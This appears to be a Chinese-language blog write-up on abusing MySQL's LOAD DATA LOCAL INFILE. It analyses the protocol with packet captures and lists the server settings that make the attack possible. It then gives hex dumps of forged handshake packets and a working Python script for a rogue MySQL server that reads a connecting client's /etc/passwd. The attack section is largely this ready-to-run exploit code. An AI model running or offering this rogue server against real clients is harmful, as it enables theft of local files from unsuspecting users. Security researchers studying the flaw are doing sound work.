LOAD DATA
LOAD DATA
[LOW_PRIORITY | CONCURRENT] [LOCAL]
INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var
[, col_name_or_user_var] ...)]
[SET col_name={expr | DEFAULT},
[, col_name={expr | DEFAULT}] ...]
常用语法,fields terminated by '分隔符'
选用,第一句为读取服务端文件内容至table_name中,第二句为读取客户端文件内容
load data infile "/data/data.csv" into table table_name;
load data local infile "/dataata.csv" into table table_name fields terminated by '分隔符';
官方对此提出的安全隐患提示,修补建议也在此文档中可见
流量分析
CentOS 7 :
- 132.232.84.148
- Mysql Ver 14.14 Distrib 5.7.25
Kali :
- 10.211.55.8
- Mysql Ver 15.1 Distrib 10.1.29-MariaDB
连接认证
客户端连接简单来说为3步:
- Create Greeting [4]
- Auth [6,8]
- Query Version [9,11]
- Greeting:会返回服务端的banner信息,并通过标志位表示支持的功能
- Auth: 传输Username,Password(因空密码所以无此值),并通过设置标志位选择使用的功能
- Query:请求服务端系统变量version_comment
文件读取
Local infile Request
ProtocolText::Resultset
ColumnDefinition
也是分为3步:
- 客户端发送 query 请求 [30]
- 服务端请求客户端文件读取 [32]
- 客户端返回读取的文件内容 [34]
- Query:客户端请求执行sql
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n";
- LFI:服务端向客户端请求读取文件
length = 0b 00 00
, sequence-id = 01
fb
->Protocol::MYSQL_TYPE_LONG_BLOB
2f 65 74 63 2f 68 6f 73 74 73
->/etc/hosts
注意length是sequence-id
之后的数据长度,即len(filename)+1
- 客户端向服务端发送读取的文件内容
利用
条件
1. LOAD DATA INFILE enable
如需使用LOAD DATA INFILE
,按官方文档所述,需Server/Client均启用CLIENT_LOCAL_FILES
,即Can Use LOAD DATA LOCAL: Set
按官方所述,在<=8.0.1
版本均默认开启,如未开启可在连接时使用--enable-local-infile
Property | Value |
---|---|
System Variable | local_infile |
Scope | Global |
Dynamic | Yes |
SET_VAR Hint Applies | No |
Type | Boolean |
Default Value (>= 8.0.2) | OFF |
Default Value (<= 8.0.1) | ON |
2. secure_file_prive empty
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
null
,表示限制 mysql 不允许导入|导出/tmp/
,文件的导入导出仅允许在此目录下- 无具体值,不对文件的导入导出进行限制
MySQL [test]> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
3. file 权限
为读取文件,必须有 File 权限
攻击流程
划重点,客户端根据请求的响应结果来执行后续操作,而且不验证请求&响应的关联性(保留意见)
所以在Mysql认证后的请求版本[9]后,可以通过修改响应为LOAD DATA LOCAL
[32],即可恶意读取客户端文件
所以我们需要伪造3个数据包,分别是
- Greeting [4]
- Auth OK [8]
- Query Response [11] -> LOAD DATA INFILE [32]
- Greeting:begin at
0036
0000 00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00 ..B..B.....E.
0010 00 76 e7 d9 00 00 80 06 37 51 84 e8 54 94 0a d3 .vçÙ....7Q.èT..Ó
0020 37 08 0c ea d3 0c 86 50 d4 29 7c 10 61 0a 50 18 7..êÓ..PÔ)|.a.P.
0030 40 00 57 ab 00 00 | 4a 00 00 00 0a 35 2e 37 2e 32 @.W«..J....5.7.2
0040 35 00 0a 00 00 00 41 78 74 03 09 0e 1e 25 00 ff 5.....Axt....%.ÿ
0050 ff 08 02 00 ff c1 15 00 00 00 00 00 00 00 00 00 ÿ...ÿÁ..........
0060 00 50 1d 1d 2e 60 62 44 01 6f 3f 0e 65 00 6d 79 .P...`bD.o?.e.my
0070 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 sql_native_passw
0080 6f 72 64 00 ord.
- Auth OK:begin at
0036
0000 00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00 ..B..B.....E.
0010 00 33 e7 db 00 00 80 06 37 92 84 e8 54 94 0a d3 .3çÛ....7..èT..Ó
0020 37 08 0c ea d3 0c 86 50 d4 77 7c 10 61 bd 50 18 7..êÓ..PÔw|.a½P.
0030 40 00 34 d9 00 00 | 07 00 00 02 00 00 00 02 00 00 @.4Ù............
0040 00 .
- Query Response [11] -> LOAD DATA INFILE [32]:begin at
0036
0000 00 1c 42 d4 fc a3 00 1c 42 00 00 18 08 00 45 00 ..B..B.....E.
0010 00 37 e7 e9 00 00 80 06 37 80 84 e8 54 94 0a d3 .7çé....7..èT..Ó
0020 37 08 0c ea d3 0c 86 50 d6 bd 7c 10 62 80 50 18 7..êÓ..PÖ½|.b.P.
0030 40 00 1b 17 00 00 | 0b 00 00 01 fb 2f 65 74 63 2f @.........û/etc/
0040 68 6f 73 74 73 hosts
除了第三个包需要根据filename来修改,其他两个可以直接拿来用,给出脚本
import socket
from time import sleep
filename='/etc/passwd'
a='4a0000000a352e372e3235000a00000041787403090e1e2500ffff080200ffc11500000000000000000000501d1d2e606244016f3f0e65006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0700000200000002000000'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
HOST = '0.0.0.0'
PORT = 3306
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)
print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'
while True:
conn, addr = s.accept()
print 'Connected by ', addr
conn.send(a)
conn.recv(1024).encode('hex')
conn.send(b)
conn.recv(1024).encode('hex')
conn.send(c)
print '--------------- %s ----------------' % filename
print conn.recv(2048)[4:]